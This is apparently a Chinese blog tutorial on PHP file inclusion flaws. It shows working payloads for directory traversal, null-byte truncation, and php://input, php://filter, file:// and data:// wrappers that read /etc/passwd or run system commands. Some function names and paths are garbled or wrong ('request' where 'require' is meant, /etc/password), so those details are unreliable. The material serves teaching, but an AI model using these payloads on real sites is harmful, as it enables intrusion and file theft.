文件包含漏洞与伪协议利用

0x00 基础

包含函数:
函数概况
include( f i l e p a t h filepath filepath & < u r l url url&伪协议>)在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
include_once( f i l e p a t h filepath filepath & < u r l url url&伪协议>)只包含一次,其它同上
request( f i l e p a t h filepath filepath & < u r l url url&伪协议>)在包含的过程中如果出现错误,会直接报错并退出程序的执行
request_once( f i l e p a t h filepath filepath & < u r l url url&伪协议>)只包含一次,其它同上
file( f i l e p a t h filepath filepath & < u r l url url&伪协议>)把整个文件读入一个数组
fopen( f i l e p a t h filepath filepath & < u r l url url&伪协议>,$ m o d e mode mode)打开文件或者URL(包含伪协议),搭配fread()和fgets()使用
readfile( f i l e p a t h filepath filepath & < u r l url url&伪协议>)读取并输出文件(不输出php代码),返回字节数
highlight_file( f i l e p a t h filepath filepath & < u r l url url&伪协议>)高亮输出代码
show_source( f i l e p a t h filepath filepath & < u r l url url&伪协议>)同上
file_get_contents(( f i l e p a t h filepath filepath & < u r l url url&伪协议>)把整个文件读入一个字符串
php配置文件:php.ini

allow_url_fopen=<bool>:允许获取远程url文件信息

<?php 
file_get_contents("http://127.0.0.1/test.php/") //如:file()、file_get_contents()
?>                             注:url后要加"/",只能获取php信息,不能获取https协议信息。

allow_url_include=<bool>:允许包含运行远程url文件和部分伪协议(‘php://input’和’data://’)

<?php
 include('php://input') //如include()、request()
 ?> 

0x01 文件包含

include($path)及其类似函数会包含其他文件,默认所有文件都当作php执行,不能运行则输出字符串。

  • 本地文件包含
<?php
include(test.php)  //运行test.php
?>
  • 远程文件包含(allow_url_fopen=1&allow_url_include=1)
    注:url后要加"/",只能包含php文件,不能包含https协议。
<?php
include('http://127.0.0/test.php')  //运行test.php
?>
  • 读取重要文件
/etc/passwd    //用户信息文件
/etc/my.conf   //mysql配置文件
/etc/php/ini   //php配置文件
<?php
include('/etc/password');
?>
  • 包含限制
  1. 目录遍历
<?php
$a=$_GET['a'];
include('/var/www/html'.$a);     //越权读取文件 ?a=../../../passwd
?>
  1. 00截断

00截断究其原因是因为chr(0)这个字符,也就是ascii码第一位字符,这个字符会忽略后面的字符,从而达到截断的目的,它的url编码是 %00,十六进制是0x00,00截断漏洞存在于php5.2.0及更低版本中。

<?php
$a=$_GET['a'];
include($a.'/var/www/html/1.txt') //截断后面字符  ?a=/etc/passwd%00
?>
  • 伪协议包含:如下

0x02 伪协议

  • php://input(allow_url_fopen=0&allow_url_include=1)

获取post数据 ,可以使用file()和file_get_contents()读取数据

<?php
$a=file('php://input');
$b=file_get_contents('php://input');
print_r($a);
echo $b
?>

也可以使用include()等包含函数运行传入的数据代码

<?php
include('php://input')  #post数据传入<?php phpinfo();?>
?>
  • php://filter(allow_url_fopen=0&allow_url_include=0),base64编码读取源代码
<?php
include('php://filter/read=convert.base64-encode/resource=test.php');
?>
  • file://(allow_url_fopen=0&allow_url_include=0),访问本地文件系统,必须用绝对路径
<?php
include('file:///etc/passwd') //读取本地文件
?>
  • data://(allow_url_fopen=1&allow_url_include=1)传输数据
<?php
include('data://text/plain,<?php phpinfo()?>');                //传输php代码数据并运行
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=');  //解码base64传输数据
include('data://text/plain,<?php system('cat /etc/passwd')?>');//利用命令执行读取本地文件
?>

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值